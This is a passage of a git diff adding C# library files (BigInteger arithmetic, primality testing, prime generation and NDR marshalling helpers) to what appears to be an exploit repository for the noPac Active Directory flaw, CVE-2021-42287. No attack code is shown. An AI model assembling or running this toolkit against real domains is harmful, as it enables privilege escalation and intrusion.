tt; + + uint x, carry = 0; + while (tP < ttE) { + x = *tP; + *tP = (x << 1) | carry; + carry = x >> (32 - 1); + tP++; + } + if (carry != 0) *tP = carry; + + // Add in the diagnals + + dP = dd; + tP = tt; + for (uint* dE = dP + dl; (dP < dE); dP++, tP++) { + ulong val = (ulong)*dP * (ulong)*dP + *tP; + *tP = (uint)val; + val >>= 32; + *(++tP) += (uint)val; + if (*tP < (uint)val) { + uint* tP3 = tP; + // Account for the first carry + (*++tP3)++; + + // Keep adding until no carry + while ((*tP3++) == 0) + (*tP3)++; + } + + } + + bi.length <<= 1; + + // Normalize length + while (tt[bi.length - 1] == 0 && bi.length > 1) bi.length--; + + } + } + + /* + * Never called in BigInteger (and part of a private class) + * public static bool Double (uint [] u, int l) + { + uint x, carry = 0; + uint i = 0; + while (i < l) { + x = u [i]; + u [i] = (x << 1) | carry; + carry = x >> (32 - 1); + i++; + } + if (carry != 0) u [l] = carry; + return carry != 0; + }*/ + + #endregion + + #region Number Theory + + public static BigInteger gcd(BigInteger a, BigInteger b) { + BigInteger x = a; + BigInteger y = b; + + BigInteger g = y; + + while (x.length > 1) { + g = x; + x = y % x; + y = g; + + } + if (x == 0) return g; + + // TODO: should we have something here if we can convert to long? + + // + // Now we can just do it with single precision. I am using the binary gcd method, + // as it should be faster. + // + + uint yy = x.data[0]; + uint xx = y % yy; + + int t = 0; + + while (((xx | yy) & 1) == 0) { + xx >>= 1; yy >>= 1; t++; + } + while (xx != 0) { + while ((xx & 1) == 0) xx >>= 1; + while ((yy & 1) == 0) yy >>= 1; + if (xx >= yy) + xx = (xx - yy) >> 1; + else + yy = (yy - xx) >> 1; + } + + return yy << t; + } + + public static uint modInverse(BigInteger bi, uint modulus) { + uint a = modulus, b = bi % modulus; + uint p0 = 0, p1 = 1; + + while (b != 0) { + if (b == 1) + return p1; + p0 += (a / b) * p1; + a %= b; + + if (a == 0) + break; + if (a == 1) + return modulus - p0; + + p1 += (b / a) * p0; + b %= a; + + } + return 0; + } + + public static BigInteger modInverse(BigInteger bi, BigInteger modulus) { + if (modulus.length == 1) return modInverse(bi, modulus.data[0]); + + BigInteger[] p = { 0, 1 }; + BigInteger[] q = new BigInteger[2]; // quotients + BigInteger[] r = { 0, 0 }; // remainders + + int step = 0; + + BigInteger a = modulus; + BigInteger b = bi; + + ModulusRing mr = new ModulusRing(modulus); + + while (b != 0) { + + if (step > 1) { + + BigInteger pval = mr.Difference(p[0], p[1] * q[0]); + p[0] = p[1]; p[1] = pval; + } + + BigInteger[] divret = multiByteDivide(a, b); + + q[0] = q[1]; q[1] = divret[0]; + r[0] = r[1]; r[1] = divret[1]; + a = b; + b = divret[1]; + + step++; + } + + if (r[0] != 1) + throw (new ArithmeticException("No inverse!")); + + return mr.Difference(p[0], p[1] * q[0]); + + } + #endregion + } + } +} \ No newline at end of file diff --git a/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/math/ConfidenceFactor.cs b/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/math/ConfidenceFactor.cs new file mode 100644 index 0000000..2306af7 --- /dev/null +++ b/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/math/ConfidenceFactor.cs @@ -0,0 +1,70 @@ +// +// NGmp.Math.Prime.ConfidenceFactor.cs - Confidence factor for prime generation +// +// Authors: +// Ben Maurer +// +// Copyright (c) 2003 Ben Maurer. All rights reserved +// + +// +// Copyright (C) 2004 Novell, Inc (http://www.novell.com) +// +// Permission is hereby granted, free of charge, to any person obtaining +// a copy of this software and associated documentation files (the +// "Software"), to deal in the Software without restriction, including +// without limitation the rights to use, copy, modify, merge, publish, +// distribute, sublicense, and/or sell copies of the Software, and to +// permit persons to whom the Software is furnished to do so, subject to +// the following conditions: +// +// The above copyright notice and this permission notice shall be +// included in all copies or substantial portions of the Software. +// +// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, +// EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF +// MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND +// NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE +// LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION +// OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION +// WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. +// + +using System; + +namespace Mono.Math.Prime { + /// + /// A factor of confidence. + /// +#if INSIDE_CORLIB + internal +#else + public +#endif + enum ConfidenceFactor { + /// + /// Only suitable for development use, probability of failure may be greater than 1/2^20. + /// + ExtraLow, + /// + /// Suitable only for transactions which do not require forward secrecy. Probability of failure about 1/2^40 + /// + Low, + /// + /// Designed for production use. Probability of failure about 1/2^80. + /// + Medium, + /// + /// Suitable for sensitive data. Probability of failure about 1/2^160. + /// + High, + /// + /// Use only if you have lots of time! Probability of failure about 1/2^320. + /// + ExtraHigh, + /// + /// Only use methods which generate provable primes. Not yet implemented. + /// + Provable + } +} \ No newline at end of file diff --git a/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/math/NextPrimeFinder.cs b/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/math/NextPrimeFinder.cs new file mode 100644 index 0000000..b94e7db --- /dev/null +++ b/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/math/NextPrimeFinder.cs @@ -0,0 +1,57 @@ +// +// NGmp.Math.Prime.Generator.NextPrimeFinder.cs - Prime Generator +// +// Authors: +// Ben Maurer +// +// Copyright (c) 2003 Ben Maurer. All rights reserved +// + +// +// Copyright (C) 2004 Novell, Inc (http://www.novell.com) +// +// Permission is hereby granted, free of charge, to any person obtaining +// a copy of this software and associated documentation files (the +// "Software"), to deal in the Software without restriction, including +// without limitation the rights to use, copy, modify, merge, publish, +// distribute, sublicense, and/or sell copies of the Software, and to +// permit persons to whom the Software is furnished to do so, subject to +// the following conditions: +// +// The above copyright notice and this permission notice shall be +// included in all copies or substantial portions of the Software. +// +// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, +// EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF +// MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND +// NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE +// LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION +// OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION +// WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. +// + +using Mono.Math.Prime.Generator; +using System; + +namespace Mono.Math.Generator { + + /// + /// Finds the next prime after a given number. + /// +#if INSIDE_CORLIB + internal +#else + public +#endif + class NextPrimeFinder : SequentialSearchPrimeGeneratorBase { + + protected override BigInteger GenerateSearchBase(int bits, object Context) { + if (Context == null) + throw new ArgumentNullException("Context"); + + BigInteger ret = new BigInteger((BigInteger)Context); + ret.SetBit(0); + return ret; + } + } +} \ No newline at end of file diff --git a/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/math/PrimalityTest.cs b/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/math/PrimalityTest.cs new file mode 100644 index 0000000..3058c16 --- /dev/null +++ b/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/math/PrimalityTest.cs @@ -0,0 +1,213 @@ +// +// Mono.Math.Prime.PrimalityTests.cs - Test for primality +// +// Authors: +// Ben Maurer +// +// Copyright (c) 2003 Ben Maurer. All rights reserved +// + +// +// Permission is hereby granted, free of charge, to any person obtaining +// a copy of this software and associated documentation files (the +// "Software"), to deal in the Software without restriction, including +// without limitation the rights to use, copy, modify, merge, publish, +// distribute, sublicense, and/or sell copies of the Software, and to +// permit persons to whom the Software is furnished to do so, subject to +// the following conditions: +// +// The above copyright notice and this permission notice shall be +// included in all copies or substantial portions of the Software. +// +// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, +// EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF +// MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND +// NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE +// LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION +// OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION +// WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. +// + +using System; + +namespace Mono.Math.Prime { + +#if INSIDE_CORLIB + internal +#else + public +#endif + delegate bool PrimalityTest(BigInteger bi, ConfidenceFactor confidence); + +#if INSIDE_CORLIB + internal +#else + public +#endif + sealed class PrimalityTests { + + private PrimalityTests() { + } + + #region SPP Test + + private static int GetSPPRounds(BigInteger bi, ConfidenceFactor confidence) { + int bc = bi.BitCount(); + + int Rounds; + + // Data from HAC, 4.49 + if (bc <= 100) Rounds = 27; + else if (bc <= 150) Rounds = 18; + else if (bc <= 200) Rounds = 15; + else if (bc <= 250) Rounds = 12; + else if (bc <= 300) Rounds = 9; + else if (bc <= 350) Rounds = 8; + else if (bc <= 400) Rounds = 7; + else if (bc <= 500) Rounds = 6; + else if (bc <= 600) Rounds = 5; + else if (bc <= 800) Rounds = 4; + else if (bc <= 1250) Rounds = 3; + else Rounds = 2; + + switch (confidence) { + case ConfidenceFactor.ExtraLow: + Rounds >>= 2; + return Rounds != 0 ? Rounds : 1; + case ConfidenceFactor.Low: + Rounds >>= 1; + return Rounds != 0 ? Rounds : 1; + case ConfidenceFactor.Medium: + return Rounds; + case ConfidenceFactor.High: + return Rounds << 1; + case ConfidenceFactor.ExtraHigh: + return Rounds << 2; + case ConfidenceFactor.Provable: + throw new Exception("The Rabin-Miller test can not be executed in a way such that its results are provable"); + default: + throw new ArgumentOutOfRangeException("confidence"); + } + } + + public static bool Test(BigInteger n, ConfidenceFactor confidence) { + // Rabin-Miller fails with smaller primes (at least with our BigInteger code) + if (n.BitCount() < 33) + return SmallPrimeSppTest(n, confidence); + else + return RabinMillerTest(n, confidence); + } + + /// + /// Probabilistic prime test based on Rabin-Miller's test + /// + /// + /// + /// The number to test. + /// + /// + /// + /// + /// The number of chosen bases. The test has at least a + /// 1/4^confidence chance of falsely returning True. + /// + /// + /// + /// + /// True if "this" is a strong pseudoprime to randomly chosen bases. + /// + /// + /// False if "this" is definitely NOT prime. + /// + /// + public static bool RabinMillerTest(BigInteger n, ConfidenceFactor confidence) { + int bits = n.BitCount(); + int t = GetSPPRounds(bits, confidence); + + // n - 1 == 2^s * r, r is odd + BigInteger n_minus_1 = n - 1; + int s = n_minus_1.LowestSetBit(); + BigInteger r = n_minus_1 >> s; + + BigInteger.ModulusRing mr = new BigInteger.ModulusRing(n); + + // Applying optimization from HAC section 4.50 (base == 2) + // not a really random base but an interesting (and speedy) one + BigInteger y = null; + // FIXME - optimization disable for small primes due to bug #81857 + if (n.BitCount() > 100) + y = mr.Pow(2, r); + + // still here ? start at round 1 (round 0 was a == 2) + for (int round = 0; round < t; round++) { + + if ((round > 0) || (y == null)) { + BigInteger a = null; + + // check for 2 <= a <= n - 2 + // ...but we already did a == 2 previously as an optimization + do { + a = BigInteger.GenerateRandom(bits); + } while ((a <= 2) && (a >= n_minus_1)); + + y = mr.Pow(a, r); + } + + if (y == 1) + continue; + + for (int j = 0; ((j < s) && (y != n_minus_1)); j++) { + + y = mr.Pow(y, 2); + if (y == 1) + return false; + } + + if (y != n_minus_1) + return false; + } + return true; + } + + public static bool SmallPrimeSppTest(BigInteger bi, ConfidenceFactor confidence) { + int Rounds = GetSPPRounds(bi, confidence); + + // calculate values of s and t + BigInteger p_sub1 = bi - 1; + int s = p_sub1.LowestSetBit(); + + BigInteger t = p_sub1 >> s; + + + BigInteger.ModulusRing mr = new BigInteger.ModulusRing(bi); + + for (int round = 0; round < Rounds; round++) { + + BigInteger b = mr.Pow(BigInteger.smallPrimes[round], t); + + if (b == 1) continue; // a^t mod p = 1 + + bool result = false; + for (int j = 0; j < s; j++) { + + if (b == p_sub1) { // a^((2^j)*t) mod p = p-1 for some 0 <= j <= s-1 + result = true; + break; + } + + b = (b * b) % bi; + } + + if (result == false) + return false; + } + return true; + } + + #endregion + + // TODO: Implement the Lucus test + // TODO: Implement other new primality tests + // TODO: Implement primality proving + } +} \ No newline at end of file diff --git a/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/math/PrimeGeneratorBase.cs b/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/math/PrimeGeneratorBase.cs new file mode 100644 index 0000000..825d19a --- /dev/null +++ b/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/math/PrimeGeneratorBase.cs @@ -0,0 +1,76 @@ +// +// NGmp.Math.Prime.Generator.PrimeGeneratorBase.cs - Abstract Prime Generator +// +// Authors: +// Ben Maurer +// +// Copyright (c) 2003 Ben Maurer. All rights reserved +// + +// +// Copyright (C) 2004 Novell, Inc (http://www.novell.com) +// +// Permission is hereby granted, free of charge, to any person obtaining +// a copy of this software and associated documentation files (the +// "Software"), to deal in the Software without restriction, including +// without limitation the rights to use, copy, modify, merge, publish, +// distribute, sublicense, and/or sell copies of the Software, and to +// permit persons to whom the Software is furnished to do so, subject to +// the following conditions: +// +// The above copyright notice and this permission notice shall be +// included in all copies or substantial portions of the Software. +// +// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, +// EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF +// MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND +// NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE +// LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION +// OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION +// WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. +// + +using System; + +namespace Mono.Math.Prime.Generator { + +#if INSIDE_CORLIB + internal +#else + public +#endif + abstract class PrimeGeneratorBase { + + public virtual ConfidenceFactor Confidence { + get { +#if DEBUG + return ConfidenceFactor.ExtraLow; +#else + return ConfidenceFactor.Medium; +#endif + } + } + + public virtual Prime.PrimalityTest PrimalityTest { + get { + return new Prime.PrimalityTest(PrimalityTests.RabinMillerTest); + } + } + + public virtual int TrialDivisionBounds { + get { return 4000; } + } + + /// + /// Performs primality tests on bi, assumes trial division has been done. + /// + /// A BigInteger that has been subjected to and passed trial division + /// False if bi is composite, true if it may be prime. + /// The speed of this method is dependent on Confidence + protected bool PostTrialDivisionTests(BigInteger bi) { + return PrimalityTest(bi, this.Confidence); + } + + public abstract BigInteger GenerateNewPrime(int bits); + } +} \ No newline at end of file diff --git a/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/math/SequentialSearchPrimeGeneratorBase.cs b/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/math/SequentialSearchPrimeGeneratorBase.cs new file mode 100644 index 0000000..cdf3a5a --- /dev/null +++ b/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/math/SequentialSearchPrimeGeneratorBase.cs @@ -0,0 +1,122 @@ +// +// NGmp.Math.Prime.Generator.SequentialSearchPrimeGeneratorBase.cs - Prime Generator +// +// Authors: +// Ben Maurer +// +// Copyright (c) 2003 Ben Maurer. All rights reserved +// + +// +// Copyright (C) 2004 Novell, Inc (http://www.novell.com) +// +// Permission is hereby granted, free of charge, to any person obtaining +// a copy of this software and associated documentation files (the +// "Software"), to deal in the Software without restriction, including +// without limitation the rights to use, copy, modify, merge, publish, +// distribute, sublicense, and/or sell copies of the Software, and to +// permit persons to whom the Software is furnished to do so, subject to +// the following conditions: +// +// The above copyright notice and this permission notice shall be +// included in all copies or substantial portions of the Software. +// +// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, +// EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF +// MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND +// NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE +// LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION +// OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION +// WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. +// + +using System; + +namespace Mono.Math.Prime.Generator { + +#if INSIDE_CORLIB + internal +#else + public +#endif + class SequentialSearchPrimeGeneratorBase : PrimeGeneratorBase { + + protected virtual BigInteger GenerateSearchBase(int bits, object context) { + BigInteger ret = BigInteger.GenerateRandom(bits); + ret.SetBit(0); + return ret; + } + + + public override BigInteger GenerateNewPrime(int bits) { + return GenerateNewPrime(bits, null); + } + + + public virtual BigInteger GenerateNewPrime(int bits, object context) { + // + // STEP 1. Find a place to do a sequential search + // + BigInteger curVal = GenerateSearchBase(bits, context); + + const uint primeProd1 = 3u * 5u * 7u * 11u * 13u * 17u * 19u * 23u * 29u; + + uint pMod1 = curVal % primeProd1; + + int DivisionBound = TrialDivisionBounds; + uint[] SmallPrimes = BigInteger.smallPrimes; + PrimalityTest PostTrialDivisionTest = this.PrimalityTest; + // + // STEP 2. Search for primes + // + while (true) { + + // + // STEP 2.1 Sieve out numbers divisible by the first 9 primes + // + if (pMod1 % 3 == 0) goto biNotPrime; + if (pMod1 % 5 == 0) goto biNotPrime; + if (pMod1 % 7 == 0) goto biNotPrime; + if (pMod1 % 11 == 0) goto biNotPrime; + if (pMod1 % 13 == 0) goto biNotPrime; + if (pMod1 % 17 == 0) goto biNotPrime; + if (pMod1 % 19 == 0) goto biNotPrime; + if (pMod1 % 23 == 0) goto biNotPrime; + if (pMod1 % 29 == 0) goto biNotPrime; + + // + // STEP 2.2 Sieve out all numbers divisible by the primes <= DivisionBound + // + for (int p = 10; p < SmallPrimes.Length && SmallPrimes[p] <= DivisionBound; p++) { + if (curVal % SmallPrimes[p] == 0) + goto biNotPrime; + } + + // + // STEP 2.3 Is the potential prime acceptable? + // + if (!IsPrimeAcceptable(curVal, context)) + goto biNotPrime; + + // + // STEP 2.4 Filter out all primes that pass this step with a primality test + // + if (PrimalityTest(curVal, Confidence)) + return curVal; + + // + // STEP 2.4 + // + biNotPrime: + pMod1 += 2; + if (pMod1 >= primeProd1) + pMod1 -= primeProd1; + curVal.Incr2(); + } + } + + protected virtual bool IsPrimeAcceptable(BigInteger bi, object context) { + return true; + } + } +} \ No newline at end of file diff --git a/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/ndr/Ndr/Marshal/INdrConformantStructure.cs b/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/ndr/Ndr/Marshal/INdrConformantStructure.cs new file mode 100644 index 0000000..ca5f592 --- /dev/null +++ b/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/ndr/Ndr/Marshal/INdrConformantStructure.cs @@ -0,0 +1,29 @@ +// Copyright 2019 Google Inc. All Rights Reserved. +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. + +namespace Rubeus.Ndr.Marshal +{ + /// + /// Interface for a marshalled NDR conformant structure. + /// + /// This interface is primarily for internal use only. + public interface INdrConformantStructure : INdrStructure + { + /// + /// Gets the number of conformant dimensions, should be at least one. + /// + /// The number of conformant dimensions. + int GetConformantDimensions(); + } +} diff --git a/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/ndr/Ndr/Marshal/INdrNonEncapsulatedUnion.cs b/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/ndr/Ndr/Marshal/INdrNonEncapsulatedUnion.cs new file mode 100644 index 0000000..a18dff3 --- /dev/null +++ b/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/ndr/Ndr/Marshal/INdrNonEncapsulatedUnion.cs @@ -0,0 +1,30 @@ +// Copyright 2019 Google Inc. All Rights Reserved. +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. + +namespace Rubeus.Ndr.Marshal +{ + /// + /// Interface for a marshalled non-encapsulated NDR union. + /// + /// This interface is primarily for internal use only. + public interface INdrNonEncapsulatedUnion : INdrStructure + { + /// + /// Marshal the union to a stream. + /// + /// The selector for union arm. + /// The marshal stream. + void Marshal(NdrMarshalBuffer marshal, long selector); + } +} diff --git a/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/ndr/Ndr/Marshal/INdrStructure.cs b/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/ndr/Ndr/Marshal/INdrStructure.cs new file mode 100644 index 0000000..3a55ca7 --- /dev/null +++ b/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/ndr/Ndr/Marshal/INdrStructure.cs @@ -0,0 +1,39 @@ +// Copyright 2019 Google Inc. All Rights Reserved. +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. + +namespace Rubeus.Ndr.Marshal +{ + /// + /// Interface for a marshalled NDR structure. + /// + /// This interface is primarily for internal use only. + public interface INdrStructure + { + /// + /// Marshal the stucture to a stream. + /// + /// The marshal stream. + void Marshal(NdrMarshalBuffer marshal); + /// + /// Unmarshal the structure from a stream. + /// + /// The unmarshal stream. + void Unmarshal(NdrUnmarshalBuffer unmarshal); + /// + /// Get the structure's alignment. + /// + /// + int GetAlignment(); + } +} diff --git a/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/ndr/Ndr/Marshal/NdrContextHandle.cs b/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/ndr/Ndr/Marshal/NdrContextHandle.cs new file mode 100644 index 0000000..499352f --- /dev/null +++ b/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/ndr/Ndr/Marshal/NdrContextHandle.cs @@ -0,0 +1,54 @@ +// Copyright 2019 Google Inc. All Rights Reserved. +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. + +using System; + +namespace Rubeus.Ndr.Marshal +{ + /// + /// Structure to represent a context handle. + /// + public struct NdrContextHandle + { + /// + /// Context handle attributes. + /// + public int Attributes { get; } + + /// + /// Context handle UUID. + /// + public Guid Uuid { get; } + + /// + /// Constructor. + /// + /// Context handle attributes. + /// Context handle UUID. + public NdrContextHandle(int attributes, Guid uuid) + { + Attributes = attributes; + Uuid = uuid; + } + + /// + /// Overidden ToString method. + /// + /// The handle as string. + public override string ToString() + { + return $"Handle: {Uuid} - Attributes: {Attributes}"; + } + } +} diff --git a/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/ndr/Ndr/Marshal/NdrDataRepresentation.cs b/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/ndr/Ndr/Marshal/NdrDataRepresentation.cs new file mode 100644 index 0000000..c3ccfae --- /dev/null +++ b/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/ndr/Ndr/Marshal/NdrDataRepresentation.cs @@ -0,0 +1,66 @@ +// Copyright 2019 Google Inc. All Rights Reserved. +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. + +namespace Rubeus.Ndr.Marshal +{ +#pragma warning disable 1591 + /// + /// NDR integer representation. + /// + public enum NdrIntegerRepresentation + { + LittleEndian, + BigEndian + } + + /// + /// NDR character representation. + /// + public enum NdrCharacterRepresentation + { + ASCII, + EBCDIC + } + + /// + /// NDR floating point representation. + /// + public enum NdrFloatingPointRepresentation + { + IEEE, + VAX, + Cray, + IBM + } + + /// + /// Definition of the NDR data representation for an NDR stream. + /// + public struct NdrDataRepresentation + { + /// + /// The integer representation of the NDR data. + /// + public NdrIntegerRepresentation IntegerRepresentation { get; set; } + /// + /// The character representation of the NDR data. + /// + public NdrCharacterRepresentation CharacterRepresentation { get; set; } + /// + /// The floating representation of the NDR data. + /// + public NdrFloatingPointRepresentation FloatingPointRepresentation { get; set; } + } +#pragma warning restore 1591 +} diff --git a/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/ndr/Ndr/Marshal/NdrDeferralStack.cs b/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/ndr/Ndr/Marshal/NdrDeferralStack.cs new file mode 100644 index 0000000..872284f --- /dev/null +++ b/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/ndr/Ndr/Marshal/NdrDeferralStack.cs @@ -0,0 +1,90 @@ +// Copyright 2019 Google Inc. All Rights Reserved. +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. + +using System; +using System.Collections.Generic; + +namespace Rubeus.Ndr.Marshal +{ + internal sealed class NdrDeferralStackEntry : IDisposable + { + private readonly Stack> _stack; + private readonly List _list; + + void IDisposable.Dispose() + { + if (_stack == null) + { + return; + } + + var list = _stack.Pop(); + System.Diagnostics.Debug.Assert(list == _list); + System.Diagnostics.Debug.WriteLine($"Flushing {list.Count} queued entries"); + + foreach (var a in list) + { + a(); + } + } + + public NdrDeferralStackEntry(Stack> stack) + { + _stack = stack; + _list = stack?.Peek(); + } + } + + internal class NdrDeferralStack + { + private readonly Stack> _stack; + + public NdrDeferralStack() + { + _stack = new Stack>(); + } + + private NdrDeferralStackEntry Push(bool allocate) + { + if (allocate) + { + System.Diagnostics.Debug.WriteLine($"Pushing new queue entry Empty: {Empty}"); + _stack.Push(new List()); + return new NdrDeferralStackEntry(_stack); + } + return null; + } + + public NdrDeferralStackEntry Push() + { + return Push(Empty); + } + + public void Add(Action a) + { + Action deferral = () => + { + using (var queue = Push(true)) + { + a(); + } + }; + System.Diagnostics.Debug.Assert(!Empty); + System.Diagnostics.Debug.WriteLine("Adding deferred entry"); + _stack.Peek().Add(deferral); + } + + public bool Empty => _stack.Count == 0; + } +} diff --git a/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/ndr/Ndr/Marshal/NdrEmbeddedPointer.cs b/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/ndr/Ndr/Marshal/NdrEmbeddedPointer.cs new file mode 100644 index 0000000..dbb88e9 --- /dev/null +++ b/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/ndr/Ndr/Marshal/NdrEmbeddedPointer.cs @@ -0,0 +1,90 @@ +// Copyright 2019 Google Inc. All Rights Reserved. +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. + +using System; + +namespace Rubeus.Ndr.Marshal +{ + /// + /// A class which represents an embedded pointer. + /// + /// The underlying type. + public class NdrEmbeddedPointer + { + private T _value; + + private NdrEmbeddedPointer(T value) + { + _value = value; + } + + /// + /// Operator to convert from a value to an embedded pointer. + /// + /// The value to point to. + public static implicit operator NdrEmbeddedPointer(T value) + { + return new NdrEmbeddedPointer(value); + } + + /// + /// Operator to convert from an embedded pointer to a value. + /// + /// The embedded pointer. + public static implicit operator T (NdrEmbeddedPointer pointer) + { + if (pointer == null) + { + return default; + } + return pointer._value; + } + + /// + /// Overridden ToString method. + /// + /// The string form of the value. + public override string ToString() + { + return _value.ToString(); + } + + /// + /// Get the value from the embedded pointer. + /// + /// The value of the pointer. + public T GetValue() + { + return _value; + } + + internal static Tuple, Action> CreateDeferredReader(Func unmarshal_func) + { + NdrEmbeddedPointer ret = new 